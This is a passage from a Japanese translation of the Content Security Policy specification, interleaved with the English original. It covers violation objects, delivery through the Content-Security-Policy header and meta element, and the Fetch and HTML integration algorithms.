Note: User agents need to ensure that the source file is the URL requested by the page, pre-redirects. If that’s not possible, user agents need to strip the URL down to an origin to avoid unintentional leakage.
</p>
	</li>
	<li>
~IF［
%大域~obj は `Window$I ~objである
］
⇒
%違反 の`~referrer$vr ~SET %大域~obj に`結付けられた文書$の`~referrer$doc【！~HTMLdom#dom-document-referrer】
◎
If global is a Window object, set violation’s referrer to global’s document’s referrer.
</li>
	<li>
<p>
%違反 の`状態s~code$vr ~SET
%違反 の`大域~obj$vrに結付けられた資源の~HTTP状態s~code
◎
Set violation’s status to the HTTP status code for the resource associated with violation’s global object.
</p>

<p class="issue">
状態s~codeは，正確にはどうやって取得する？
— 実際には どこにも格納されていない。
◎
How, exactly, do we get the status code? We don’t actually store it anywhere.
</p>
	</li>
	<li>
~RET %違反
◎
Return violation.
</li>
</ol>

			</section>
			<section id="create-violation-for-request">
<h4 title="Create a violation object for request, and policy.">2.4.2. ( 要請, 施策 ) から 違反~objを作成する</h4>

<p>
次の~algoは、
所与の
( `要請$ %要請, `施策$ %施策 )
から新たな`違反$~objを作成して，それを初期~dataの集合で拡充する：
◎
Given a request request, a policy policy, the following algorithm creates a new violation object, and populates it with an initial set of data:
</p>
<ol>
	<li>
%指令~名 ~LET `要請~用に有効果な指令を取得する$A( %要請 )
◎
Let directive be the result of executing § 6.8.1 Get the effective directive for request on request.
</li>
	<li>
~Assert：
%要請 の`~client$rq ~NEQ ~NULL
【この段は、この訳による補完。】
</li>
	<li>
%違反 ~LET `新たな違反~obj$A1( %要請 の`~client$rqの`大域~obj$enV, %施策, %指令~名 )
◎
Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on request’s client’s global object, policy, and directive.
</li>
	<li>
<p>
%違反 の`資源$vr ~SET %要請 の`~URL$rq
◎
Set violation’s resource to request’s url.
</p>

<p class="note">注記：
ここでは
%要請 の`~URL$rqを利用する
— 
その`現在の~URL$rq `ではなく^em
—
後者は、［
~pageから~accessされてはナラナイような，~redirect~target
］についての情報を包含することもあるので。
◎
Note: We use request’s url, and not its current url, as the latter might contain information about redirect targets to which the page MUST NOT be given access.
</p>
	</li>
	<li>
~RET %違反
◎
Return violation.
</li>
</ol>

			</section>
		</section>
	</section>
	<section id="policy-delivery">
<h2 title="Policy Delivery">3. 施策の送達</h2>

<p>
~serverは、
特定0の`資源~表現$用に`施策$を宣言してもヨイ
— `施策$を`直列化-$した上で，~HTTP応答~headerの値に与えることにより。
この仕組みは、［
`Content-Security-Policy＠#csp-header$h ／
`Content-Security-Policy-Report-Only＠#cspro-header$h
］~HTTP応答~headerにて詳細に定義される。
また、［
`§ ~Fetchとの統合$ ／
`§ ~HTMLとの統合$
］にて［
~Fetch ／ ~HTML
］との統合が述べられる。
◎
A server MAY declare a policy for a particular resource representation via an HTTP response header field whose value is a serialized CSP. This mechanism is defined in detail in § 3.1 The Content-Security-Policy HTTP Response Header Field and § 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field, and the integration with Fetch and HTML is described in § 4.1 Integration with Fetch and § 4.2 Integration with HTML.
</p>

<p>
`施策$は、
<a href="#meta-element">§ `meta^e 要素</a>
にて述べられるとおり，［
`meta$e 要素の `http-equiv$a 属性を介して ~HTML文書~内に~inlineに宣言する
］こともできる。
◎
A policy may also be declared inline in an HTML document via a meta element’s http-equiv attribute, as described in § 3.3 The &lt;meta&gt; element.
</p>

		<section id="csp-header">
<h3 title="The Content-Security-Policy HTTP Response Header Field">3.1. `Content-Security-Policy^h ~HTTP応答~header</h3>

<p>
`Content-Security-Policy@h
~HTTP応答~headerが、
~serverから~clientへ施策を送達するときに選好される仕組みである。
この~headerの値は、
次の`~ABNF$で表現される：
◎
The Content-Security-Policy HTTP response header field is the preferred mechanism for delivering a policy from a server to a client. The header’s value is represented by the following ABNF [RFC5234]:
</p>

<pre class="bnf">
Content-Security-Policy
	= 1#`serialized-policy$p
</pre>

<p>
この~ABNFにおける '`#^P' は、
この仕様が定義する`#規則$に従うとする。
◎
; The '#' rule is the one defined in section 5.6.1 of RFC 9110
; but it incorporates the modifications specified
; in section 2.1 of this document.
</p>

<div class="example">
<pre class="lang-http">
`Content-Security-Policy$h:
    `script-src$dir `self$pl;
    `report-to$dir csp-reporting-endpoint
</pre>
</div>

<p>
~serverは、
同じ資源の異なる`表現$ごとに，異なる
`Content-Security-Policy^h ~header値を送信してもヨイ。
◎
A server MAY send different Content-Security-Policy header field values with different representations of the same resource.
</p>

<p>
`Content-Security-Policy^h ~headerを受信した~UAは、
それが包含する各 `直列形の~CSP$を`構文解析-$した結果を［
`§ ~Fetchとの統合$ ／ `§ ~HTMLとの統合$
］にて述べられるとおり`施行-$するモノトスル。
◎
When the user agent receives a Content-Security-Policy header field, it MUST parse and enforce each serialized CSP it contains as described in § 4.1 Integration with Fetch, § 4.2 Integration with HTML.
</p>

		</section>
		<section id="cspro-header">
<h3 title="The Content-Security-Policy-Report-Only HTTP Response Header Field">3.2. `Content-Security-Policy-Report-Only^h ~HTTP応答~header</h3>

<p>
`Content-Security-Policy-Report-Only@h
~HTTP応答~headerは、［
施策による効果を（施行することなく）監視して，実験する
］ことを，~web開発者に許容する。
この~headerの値は、
次の`~ABNF$で表現される：
◎
The Content-Security-Policy-Report-Only HTTP response header field allows web developers to experiment with policies by monitoring (but not enforcing) their effects. The header’s value is represented by the following ABNF [RFC5234]:
</p>

<pre class="bnf">
Content-Security-Policy-Report-Only
	= 1#`serialized-policy$p
</pre>

<p>
この~ABNFにおける '`#^P' は、
この仕様が定義する`#規則$に従うとする。
◎
; The '#' rule is the one defined in section 5.6.1 of RFC 9110
; but it incorporates the modifications specified
; in section 2.1 of this document.
</p>

<p>
この~headerは、［
~web開発者が，自身の~security施策の様々な組み合わせを反復的に開発する
］ことを許容する
— 報告のみ行う施策を［
~siteの挙動についての最良な見積もり
］に基づいて配備して，
違反~報告を注視して，
挙動に~~確信が得られた時点で施策を施行-へ移すことにより。
◎
This header field allows developers to piece together their security policy in an iterative fashion, deploying a report-only policy based on their best estimate of how their site behaves, watching for violation reports, and then moving to an enforced policy once they’ve gained confidence in that behavior.
</p>

<div class="example">
<pre class="lang-http">
`Content-Security-Policy-Report-Only$h:
    `script-src$dir `self$pl;
    `report-to$dir csp-reporting-endpoint
</pre>
</div>

<p>
~serverは、
同じ資源の異なる`表現$ごとに，異なる
`Content-Security-Policy-Report-Only^h ~header値を送信してもヨイ。
◎
A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource.
</p>

<p>
`Content-Security-Policy-Report-Only^h ~headerを受信した~UAは、
それが包含する各 `直列形の~CSP$を`構文解析-$した結果を［
`§ ~Fetchとの統合$ ／ `§ ~HTMLとの統合$
］にて述べられるとおり`監視-$するモノトスル。
◎
When the user agent receives a Content-Security-Policy-Report-Only header field, it MUST parse and monitor each serialized CSP it contains as described in § 4.1 Integration with Fetch and § 4.2 Integration with HTML.
</p>

<p class="note">注記：
`Content-Security-Policy-Report-Only^h 
~headerは、
`meta$e 要素の内側では~support<strong>されない</strong>。
◎
Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.
</p>

		</section>
		<section id="meta-element">
<h3 title="The &lt;meta&gt; element">3.3. `meta^e 要素</h3>

<p>
`文書$は、
 1 個~以上†の［
~HTML `meta$e 要素であって, ［
その `http-equiv$a 属性~値 ~EQ`大小無視$sub `Content-Security-Policy^l
］なるもの
］を介して，施策を送達してもヨイ
— 例えば：
◎
A Document may deliver a policy via one or more HTML meta elements whose http-equiv attributes are an ASCII case-insensitive match for the string "Content-Security-Policy". For example:＼
</p>

<p class="trans-note">【†
と記されているが、
~HTMLは，複数個の［
等価な `http-equiv^a を伴う `meta^e
］を許容していない。
】</p>

<div class="example">
<pre class="lang-html">
&lt;meta
  http-equiv="Content-Security-Policy"
  content="`script-src$dir `self$pl"
&gt;
</pre>
</div>

<p>
実装の詳細は、
`HTML$r の［
`~CSP状態＠~HEmetadata#attr-meta-http-equiv-content-security-policy$にある `http-equiv$a ~pragma指令
］にて見出せる。
◎
Implementation details can be found in HTML’s Content Security Policy state http-equiv processing instructions [HTML].
</p>

<p class="note">注記：
`Content-Security-Policy-Report-Only^h ~headerは、
`meta$e 要素の内側では<strong>~supportされない</strong>
— ［
`report-uri$dir,
`frame-ancestors^dir,
`sandbox^dir
］指令も含め。
◎
Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element. Neither are the report-uri, frame-ancestors, and sandbox directives.
</p>

<p>
`meta$e 要素~内の施策は、
それに先行する内容には適用されない。
したがって，作者には、［
`meta$e 要素を アリな限り文書の始めの方に配置する
］ことが`強く奨励される^em。
特に，［
`Link$h ~HTTP応答~header ／
施策を送達する `meta$e に先行する［
`link$e ／ `script$e
］要素
］を利用して［
~fetchあるいは~prefetch
］される資源は、
阻止されないことに注意。
◎
Authors are strongly encouraged to place meta elements as early in the document as possible, because policies in meta elements are not applied to content which precedes them. In particular, note that resources fetched or prefetched using the Link HTTP response header field, and resources fetched or prefetched using link and script elements which precede a meta-delivered policy will not be blocked.
</p>

<p class="note">注記：
`meta$e 要素を介して指定される`施策$は、
保護される資源にて作動中な他の施策とともに
— 他の施策がどこで指定されたかに関わらず —
施行される。
複数の施策を施行するときの一般的な影響iは、
`§ 複数の施策による効果＠#multiple-policies$
にて述べる。
◎
Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where they’re specified. The general impact of enforcing multiple policies is described in § 8.1 The effect of multiple policies.
</p>

<p class="note">注記：
要素が構文解析された後に，
`meta$e 要素の `content$a 属性を改変しても、
無視される。
◎
Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.
</p>

		</section>
	</section>
	<section id="integrations">
<h2 title="Integrations">4. 他の仕様との統合</h2>

◎非規範的

<p>
この文書は、
~CSPの機能性を実装するために，他の仕様から利用される一群の~algoを定義する。
明確さを得るため、
これらの統合は，ここで要旨されるが、
詳細な情報への規範的な参照は，それらの外部~文書に諮るべきである。
◎
This document defines a set of algorithms which are used in other specifications in order to implement the functionality. These integrations are outlined here for clarity, but those external documents are the normative references which ought to be consulted for detailed information.
</p>

		<section id="fetch-integration">
<h3 title="Integration with Fetch">4.1. ~Fetchとの統合</h3>

<p>
`指令$のうち一部は、
何らかの仕方で，資源の読込ngを制御する。
この仕様は、
 `FETCH$r にて［
特定0の`要請$を阻止するべきか許容するべきか ／
特定0の`応答$を`~network~error$に置換するべきかどうか
］について裁定を下せるようにする，いくつかの~algoを供する。
◎
A number of directives control resource loading in one way or another. This specification provides algorithms which allow Fetch to make decisions about whether or not a particular request should be blocked or allowed, and about whether a particular response should be replaced with a network error.
</p>

<ul>
	<li>
`要請は~CSPにより阻止されるべきか？$Aは、
`~main~fetch$~algoの中（開始近く）【！step 2.4】から~callされる。
これは、
各`要請$に対し，［
それが~networkを叩く前
］および［
それが資源に達するまでに生じ得る各~redirect
］において［
指令の`要請前~検査$Aを実行する
］ことを許容する。
◎
§ 4.1.2 Should request be blocked by Content Security Policy? is called as part of step 2.4 of the Main Fetch algorithm. This allows directives' pre-request checks to be executed against each request before it hits the network, and against each redirect that a request might go through on its way to reaching a resource.
</li>
	<li>
`要請に対する応答は~CSPにより阻止されるべきか？$Aは、
`~main~fetch$~algoの中（終了近く）【！step 11】から~callされる。
これは、［
~networkまたは~swから送達された`応答$
］に対し，［
指令の`要請後~検査$Aを実行する
］ことを許容する。
◎
§ 4.1.3 Should response to request be blocked by Content Security Policy? is called as part of step 11 of the Main Fetch algorithm. This allows directives' post-request checks to be executed on the response delivered from the network or from a Service Worker.
</li>
</ul>

			<section id="report-for-request">
<h4 title="Report Content Security Policy violations for request">4.1.1. 要請に対する~CSP違反を報告する</h4>

<p>
次の~algoは、
所与の
( `要請$ %要請 )
に対し，［
%要請 の`施策~容器$rqの`~CSP~list$pCの “報告のみ” の施策
］に基づいて違反を報告する：
◎
Given a request request, this algorithm reports violations based on policy container’s CSP list "report only" policies.
</p>
<ol>
	<li>
%~CSP~list ~LET %要請 の`施策~容器$rqの`~CSP~list$pC
◎
Let CSP list be request’s policy container’s CSP list.
</li>
	<li>
<p>
%~CSP~list を成す
~EACH( %施策 )
に対し：
◎
For each policy of CSP list:
</p>
		<ol>
			<li>
~IF［
%施策 の`処置先$ ~EQ `enforce^l
］
⇒
~CONTINUE
◎
If policy’s disposition is "enforce", then skip to the next policy.
</li>
			<li>
%違反された指令 ~LET 
`要請は施策に違反するか？$A( %要請, %施策 )
◎
Let violates be the result of executing § 6.7.2.1 Does request violate policy? on request and policy.
</li>
			<li>
~IF［
%違反された指令 ~NEQ ε
］
⇒
`違反を報告する$A( `新たな違反~obj$A( %要請, %施策 ) )
◎
If violates is not "Does Not Violate", then execute § 5.5 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.
</li>
		</ol>
	</li>
</ol>

			</section>
			<section id="should-block-request">
<h4 title="Should request be blocked by Content Security Policy?">4.1.2. 要請は~CSPにより阻止されるべきか？</h4>

<p>
次の~algoは、
所与の
( `要請$ %要請 )
に対し，［
`阻止される^i ／ `許容される^i
］を返すことに加え、
【前者を返す場合には】［
%要請 の`施策~容器$rqの`~CSP~list$pC
］に基づいて違反を報告する：
◎
Given a request request, this algorithm returns Blocked or Allowed and reports violations based on request’s policy container’s CSP list.
</p>
<ol>
	<li>
%~CSP~list ~LET %要請 の`施策~容器$rqの`~CSP~list$pC
◎
Let CSP list be request’s policy container’s CSP list.
</li>
	<li>
%結果 ~LET `許容される^i
◎
Let result be "Allowed".
</li>
	<li>
<p>
%~CSP~list を成す
~EACH( %施策 )
に対し：
◎
For each policy of CSP list:
</p>
		<ol>
			<li>
~IF［
%施策 の`処置先$ ~EQ `report^l
］
⇒
~CONTINUE
◎
If policy’s disposition is "report", then skip to the next policy.
</li>
			<li>
%違反された指令 ~LET
`要請は施策に違反するか？$A( %要請, %施策 )
◎
Let violates be the result of executing § 6.7.2.1 Does request violate policy? on request and policy.
</li>
			<li>
<p>
~IF［
%違反された指令 ~NEQ ε
］：
◎
If violates is not "Does Not Violate", then:
</p>
				<ol>
					<li>
`違反を報告する$A( `新たな違反~obj$A( %要請, %施策 ) )
◎
Execute § 5.5 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.
</li>
					<li>
%結果 ~SET `阻止される^i
◎
Set result to "Blocked".
</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>
~RET %結果
◎
Return result.
</li>
</ol>

			</section>
			<section id="should-block-response">
<h4 title="Should response to request be blocked by Content Security Policy?">4.1.3. 要請に対する応答は~CSPにより阻止されるべきか？</h4>

<p>
次の~algoは、
所与の
( `応答$ %応答, `要請$ %要請 )
に対し，［
`阻止される^i ／ `許容される^i
］を返すことに加え、
【前者を返す場合には】［
%要請 の`施策~容器$rqの`~CSP~list$pC
］に基づいて違反を報告する：
◎
Given a response response and a request request, this algorithm returns Blocked or Allowed, and reports violations based on request’s policy container’s CSP list.
</p>
<ol>
	<li>
%~CSP~list ~LET %要請 の`施策~容器$rqの`~CSP~list$pC
◎
Let CSP list be request’s policy container’s CSP list.
</li>
	<li>
%結果 ~LET `許容される^i
◎
Let result be "Allowed".
</li>
	<li>
<p>
%~CSP~list を成す
~EACH( %施策 )
に対し：
◎
For each policy of CSP list:
</p>
		<ol>
			<li>
<p>
%施策 の`指令~集合$を成す
~EACH( %指令 )
に対し：
◎
For each directive of policy:
</p>
				<ol>
					<li>
<p>
~IF［
%指令 の`要請後~検査$Aを実行した結果 ~EQ `阻止される^i
］：
◎
If the result of executing directive’s post-request check is "Blocked", then:
</p>
						<ol>
							<li>
`違反を報告する$A( `新たな違反~obj$A( %要請, %施策 ) )
◎
Execute § 5.5 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.
</li>
							<li>
~IF［
%施策 の`処置先$ ~EQ `enforce^l

］
⇒
%結果 ~SET `阻止される^i
◎
If policy’s disposition is "enforce", then set result to "Blocked".
</li>
						</ol>
					</li>
				</ol>
			</li>
		</ol>
<p class="note">注記：
検査のこの部位は、
~pageが応答を読込めるかどうかを検証yする。
すなわち，~swが、
~pageの~CSPに違反するような~fileで代用していないかどうかを。
◎
Note: This portion of the check verifies that the page can load the response. That is, that a Service Worker hasn’t substituted a file which would violate the page’s CSP.
</p>
	</li>
	<li>
~RET %結果
◎
Return result.
</li>
</ol>

			</section>
			<section id="potentially-report-hash">
<h4 title="Potentially report hash">4.1.4. 必要なら~hashを報告する</h4>

<p>
この~algoは、
所与の
( `応答$ %応答, `要請$ %要請, `指令$ %指令 `施策$ %施策 )
に対し：
◎
Given a response response, a request request, a directive directive and a content security policy object policy, run the following steps:
</p>
<ol>
	<li>
%~algo ~LET ε【！the empty string】
◎
Let algorithm be the empty string.
</li>
	<li>
~IF［
"`report-sha256$pl" ~IN %指令 の`値$
］
⇒
%~algo ~SET `sha256^l
◎
If directive’s value contains the expression "'report-sha256'", set algorithm to "sha256".
</li>
	<li>
~IF［
"`report-sha384$pl" ~IN %指令 の`値$
］
⇒
%~algo ~SET `sha384^l
◎
If directive’s value contains the expression "'report-sha384'", set algorithm to "sha384".
</li>
	<li>
~IF［
"`report-sha512$pl" ~IN %指令 の`値$
］
⇒
%~algo ~SET `sha512^l
◎
If directive’s value contains the expression "'report-sha512'", set algorithm to "sha512".
</li>
	<li>
~IF［
%~algo ~EQ ε【！the empty string】
］
⇒
~RET
◎
If algorithm is the empty string, return.
</li>
	<li>
%~hash ~LET 空`文字列$
◎
Let hash be the empty string.
</li>
	<li>
~IF［
%応答 は`~CORS同一-生成元$である
］
⇒
%~hash ~SET 次を順に`連結する$
⇒＃
%~algo,
`002D^U ( `-^l ),
`~byte列に~algoを適用する$( %応答 の`本体$rs, %~algo )
◎
If response is CORS-same-origin, then:
• Let h be the result of applying algorithm to bytes on response’s body and algorithm.
• Let hash be the concatenation of algorithm, U+2D (-), and h.
</li>
	<li>
~Assert：
%要請 の`~client$rq ~NEQ ~NULL
【この段は、この訳による補完。】
</li>
	<li>
%大域~obj ~LET %要請 の`~client$rqの`大域~obj$enV
◎
Let global be the request’s client’s global object.
</li>
	<li>
~IF［
%大域~obj は `Window$I でない
］
⇒
~RET
◎
If global is not a Window, return.
</li>
	<li>
%報告~用~URL ~LET `報告~内の利用-用に~URLを剥ぐ$A( %大域~obj に`結付けられた文書$の`~URL$doc )
◎
Let stripped document URL to be the result of executing § 5.4 Strip URL for use in reports on global’s document’s URL.
</li>
	<li>
%報告-先~指令 ~LET ［
%施策 の`指令~集合$内に［
`名前$ `report-to$dir を伴う`指令$
］は［
在るならば それ／
無いならば ε
］
◎
↓</li>
	<li>
~IF［
%報告-先~指令 ~EQ ε
］
⇒
~RET
◎
If policy’s directive set does not contain a directive named "report-to", return.
◎
Let report-to directive be a directive named "report-to" from policy’s directive set.
</li>
	<li>
%本体 ~LET 新たな`~CSP~hash報告の本体$
— その
⇒＃
`文書~URL$hrB ~SET %報告~用~URL,
`下位資源~URL$hrB ~SET %要請 の`~URL$rq,
`~hash$hrB ~SET %~hash,
`行先$hrB ~SET %要請 の`行先$rq,
`種別$hrB ~SET `subresource^l
◎
Let body be a csp hash report body with stripped document URL as its documentURL, request’s URL as its subresourceURL, hash as its hash, request’s destination as its destination, and "subresource" as its type.
</li>
	<li>
`報告を生成して~queueする$( ↓ )
⇒＃
%大域~obj【！settings object】,
`csp-hash^l,
%報告-先~指令 の`値$,
%本体
◎
Generate and queue a report with the following arguments:
◎
• context
•• settings object
• type
•• "csp-hash"
• destination
•• report-to directive’s value.
• data
•• body
</li>
</ol>

			</section>
		</section>
		<section id="html-integration">
<h3 title="Integration with HTML">4.2. ~HTMLとの統合</h3>

<ul>
	<li>
`施策~容器$は、
所与の文脈~用に作動中な`施策$~objすべてを保持する`~CSP~list$pCを有する。
この~listは、
他が指定されない限り空であり，ある`応答$から`応答の~CSPを構文解析する$Aことにより拡充されるか, `施策~容器$の規則に従って継承される。
◎
The policy container has a CSP list, which holds all the policy objects which are active for a given context. This list is empty unless otherwise specified, and is populated from the response by parsing response’s Content Security Policies or inherited following the rules of the policy container.
</li>
	<li>
`大域~obj$ %G の
`~CSP~list@gO
は、
%G が`有する~CSP~list$を返す。
【この訳では、この用語は利用せず，一律に “`有する~CSP~list$” を通して述べる。】
◎
A global object’s CSP list is the result of executing § 4.2.2 Retrieve the CSP list of an object with the global object as the object.
</li>
	<li>
`施策$は、
`大域~obj$が`有する~CSP~list$内に挿入されることにより，`大域~obj$に対し［
`施行-@
／
`監視-@
］されることになる。
◎
A policy is enforced or monitored for a global object by inserting it into the global object’s CSP list.
</li>
	<li>
`文書~用に~CSP初期化を走らす$A
~algoは、
`文書を作成して初期化する$間に~callされる。
◎
§ 4.2.1 Run CSP initialization for a Document is called during the create and initialize a new Document object algorithm.
</li>
	<li>
<p>
`要素における~inlineな型の挙動は~CSPにより阻止されるべきか？$A
は、
次の 2 つから~callされる：
</p>
		<ul>
			<li>
`~script要素を準備する$ときに，~inlineな~script~blockの実行が許容されるかどうかを決定するとき。
</li>
			<li>
`~style~blockを更新する$~algoの中で，~inlineな~style~blockによる具現化-が許容されるかどうかを決定するとき。
</li>
		</ul>
◎
§ 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy? is called during the prepare the script element and update a style block algorithms in order to determine whether or not an inline script or style block is allowed to execute/render.
</li>
	<li>
`要素における~inlineな型の挙動は~CSPにより阻止されるべきか？$Aは、［
~inlineな~event~handler（ `onclick^c など）／
~inlineな `style^a 属性
］を取扱う間に，［
その［
実行- ／ 具現化-
］が許容されるべきかどうか
］を決定するために~callされる。
◎
§ 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy? is called during handling of inline event handlers (like onclick) and inline style attributes in order to determine whether or not they ought to be allowed to execute/render.
</li>
	<li>
各 `施策$は、
 `meta$e 要素の `http-equiv$a 属性を処理する間に`施行され$る。
◎
policy is enforced during processing of the meta element’s http-equiv.
</li>
	<li>
<p>
HTML は、［
資源の読込ngに責を負う要素
］からの関連な~dataで，各`要請$の［
`暗号用~nonce~metadata$rq,
`構文解析器~metadata$rq
］を拡充する。
◎
HTML populates each request’s cryptographic nonce metadata and parser metadata with relevant data from the elements responsible for resource loading.
</p>

<p class="issue">
~stylesheetの読込ngは、
まだ
~HTMLにおける~Fetchには統合されていない
[`whatwg/html 課題 #968＠~HTMLissue/968$]
◎
Stylesheet loading is not yet integrated with Fetch in WHATWG’s HTML. [whatwg/html Issue #968]
</p>
	</li>
	<li>
`文書に対する基底は許容されるか？＠#allow-base-for-document$は、
`href$a 属性の値が妥当になることを確保するため，
`base$e の`凍結d基底~URLを設定する$間に~callされる
◎
§ 6.3.1.1 Is base allowed for document? is called during base’s set the frozen base URL algorithm to ensure that the href attribute’s value is valid.
</li>
	<li>
`ある種別の~navi要請は~CSPにより阻止されるべきか？$Aは、
`~fetchingにより~navi~paramsを作成する$間に~callされる。
`~targetにおける ある種別の~navi要請に対する応答は~CSPにより阻止されるべきか？$Aは、
`履歴~entryの文書を拡充するよう試みる$間に~callされる。
いずれも，指令の~navi検査を適用する。
後者は `javascript_^sc ~URLへの~naviに対する~inline検査を適用する。
◎
§ 4.2.4 Should navigation request of type be blocked by Content Security Policy? is called during the create navigation params by fetching algorithm, and § 4.2.5 Should navigation response to navigation request of type in target be blocked by Content Security Policy? is called during the attempt to populate the history entry’s document algorithm to apply directive’s navigation checks, as well as inline checks for navigations to javascript: URLs.
</li>
	<li>
`大域~obj用に~CSP初期化を走らす$Aは、
`~workerを走らす$【／`~swを走らす$】間に~callされる。
◎
§ 4.2.6 Run CSP initialization for a global object is called during the run a worker algorithm.
</li>
	<li>
`sandbox$dir 指令は、
`~CSPから導出される~sandbox法~flag群$を拡充するために利用される。
◎
The sandbox directive is used to populate the CSP-derived sandboxing flags.
</li>
</ul>

			<section id="run-document-csp-initialization">
<h4 title="Run CSP initialization for a Document">4.2.1. 文書~用に~CSP初期化を走らす</h4>

<p>
次の~algoは、
所与の
( `文書$  %文書 )
に対し，
%文書 用の~CSPを初期化する：
◎
Given a Document document, the user agent performs the following steps in order to initialize CSP for document:
</p>
<ol>
	<li>
<p>
%文書 の`施策~容器$docの`~CSP~list$pCを成す
~EACH( %施策 )
に対し：
◎
For each policy of document’s policy container’s CSP list:
</p>
		<ol>
			<li>
<p>
%施策 の`指令~集合$を成す
~EACH( %指令 )
に対し：
◎
For each directive of policy:
</p>
				<ol>
					<li>
%結果 ~LET %指令 の`初期化$A( %文書【, %施策】 )
◎
Execute directive’s initialization algorithm on document, and＼
</li>
					<li>
~Assert：
%結果 ~EQ `許容される^i
◎
assert: its returned value is "Allowed".
</li>
				</ol>
			</li>
		</ol>
	</li>
</ol>

			</section>
			<section id="get-csp-of-object">
<h4 title="Retrieve the CSP list of an object">4.2.2. ~objの~CSP~listを検索取得する</h4>

<p>
%~obj が
`有する~CSP~list@
は、
%~obj に応じて，次を返す：
◎
To obtain object’s CSP list:
</p>
<ul class="switch">
	<li>
`文書$である
⇒
%~obj の`施策~容器$docの`~CSP~list$pC
◎
If object is a Document return object’s policy container’s CSP list.
</li>
	<li>
［
`Window$I ／ `WorkerGlobalScope$I ／ `WorkletGlobalScope$I
］である
⇒
`環境~設定群~obj$【%~obj に`関連な設定群~obj$？】の`施策~容器$enVの`~CSP~list$pC
◎
If object is a Window or a WorkerGlobalScope or a WorkletGlobalScope, return environment settings object’s policy container’s CSP list.
</li>
	<li>
その他
⇒
~NULL
◎
Return null.
</li>
</ul>

			</section>
			<section id="should-block-inline">
<h4 title="Should element’s inline type behavior be blocked by Content Security Policy?">4.2.3. 要素における~inlineな型の挙動は~CSPにより阻止されるべきか？</h4>

<p>
この~algoは、
所与の
( `要素$ %要素, 文字列 %型, 文字列 %~source )
に対し，
%要素 における［
~inlineな定義による特定0の型の挙動（
~script実行, ~styleの適用, ~event~handler,
等々）
］が［
許容されるならば `許容される^i ／
許容されないならば `阻止される^i
］を返す：
◎
Given an Element element, a string type, and a string source this algorithm returns "Allowed" if the element is allowed to have inline definition of a particular type of behavior (script execution, style application, event handlers, etc.), and "Blocked" otherwise:
</p>

<ol>
	<li>
~Assert：
%型 ~IN { `script^l, `script attribute^l, `style^l, `style attribute^l }
◎
Note: The valid values for type are "script", "script attribute", "style", and "style attribute".
</li>
	<li>
~Assert：
%要素 ~NEQ ~NULL
◎
Assert: element is not null.
</li>
	<li>
%結果 ~LET `許容される^i
◎
Let result be "Allowed".
</li>
	<li>
<p>
%要素 の`文書$の`大域~obj$が`有する~CSP~list$
【 %要素 の`~node文書$が`有する~CSP~list$？】
を成す
~EACH( %施策 )
に対し：
◎
For each policy of element’s Document’s global object’s CSP list:
</p>
		<ol>
			<li>
<p>
%施策 の`指令~集合$を成す
~EACH( %指令 )
に対し：
◎
For each directive of policy’s directive set:
</p>
				<ol>
					<li>
~IF［
%指令 の`~inline検査$A( %要素, %型, %施策, %~source )
の結果 ~EQ `許容される^i 
］
⇒
~CONTINUE
◎
If directive’s inline check returns "Allowed" when executed upon element, type, policy and source, skip to the next directive.
</li>
					<li>
%指令~名 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 )
◎
Let directive-name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
</li>
					<li>
%違反 ~LET `新たな違反~obj$A1( `現在の設定群~obj$の`大域~obj$enV, %施策, %指令~名 )
◎
Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on the current settings object’s global object, policy, and directive-name.
</li>
					<li>
%違反 の`資源$vr ~SET `inline^l
◎
Set violation’s resource to "inline".
</li>
					<li>
%違反 の`要素$vr ~SET %要素
◎
Set violation’s element to element.
</li>
					<li>
~IF［
`report-sample^pl ~IN ［
%指令 の`値$
］］
⇒
%指令 の`見本$vr ~SET %~source の最初の 40 文字からなる文字列
◎
If directive’s value contains the expression "'report-sample'", then set violation’s sample to the substring of source containing its first 40 characters.
</li>
					<li>
`違反を報告する$A( %違反 )
◎
Execute § 5.5 Report a violation on violation.
</li>
					<li>
~IF［
%施策 の`処置先$ ~EQ `enforce^l
］
⇒
%結果 ~SET `阻止される^i
◎
If policy’s disposition is "enforce", then set result to "Blocked".
</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>
~RET %結果
◎
Return result.
</li>
</ol>

			</section>
			<section id="should-block-navigation-request">
<h4 title="Should navigation request of type be blocked by Content Security Policy?">4.2.4. ある種別の~navi要請は~CSPにより阻止されるべきか？</h4>

<p>
この~algoは、
所与の
( `要請$ %~navi要請, 文字列 %種別 )
に対し，［
作動中な施策が~naviを阻止するならば `阻止される^i ／
~ELSE_ `許容される^i
］を返す：
◎
Given a request navigation request and a string type (either "form-submission" or "other"), this algorithm return "Blocked" if the active policy blocks the navigation, and "Allowed" otherwise:
</p>
<ol>
	<li>
~Assert：
%種別 ~IN { `form-submission^l, `other^l }
◎
↑</li>
	<li>
%大域~obj ~LET %~navi要請 の`~client$rqの`大域~obj$enV
◎
↓</li>
	<li>
%結果 ~LET `許容される^i
◎
Let result be "Allowed".
</li>
	<li>
<p>
%~navi要請 の`施策~容器$rqの`~CSP~list$pCを成す
~EACH( %施策 )
に対し：
◎
For each policy of navigation request’s policy container’s CSP list:
</p>
		<ol>
			<li>
<p>
%施策 の`指令~集合$を成す
~EACH( %指令 )
に対し：
◎
For each directive of policy:
</p>
				<ol>
					<li>
~IF［
%指令 の`~navi前~検査$A( %~navi要請, %種別, %施策 )
~EQ `許容される^i
］
⇒
~CONTINUE
◎
If directive’s pre-navigation check returns "Allowed" when executed upon navigation request, type, and policy skip to the next directive.
</li>
					<li>
%違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, %指令 の`名前$ )
◎
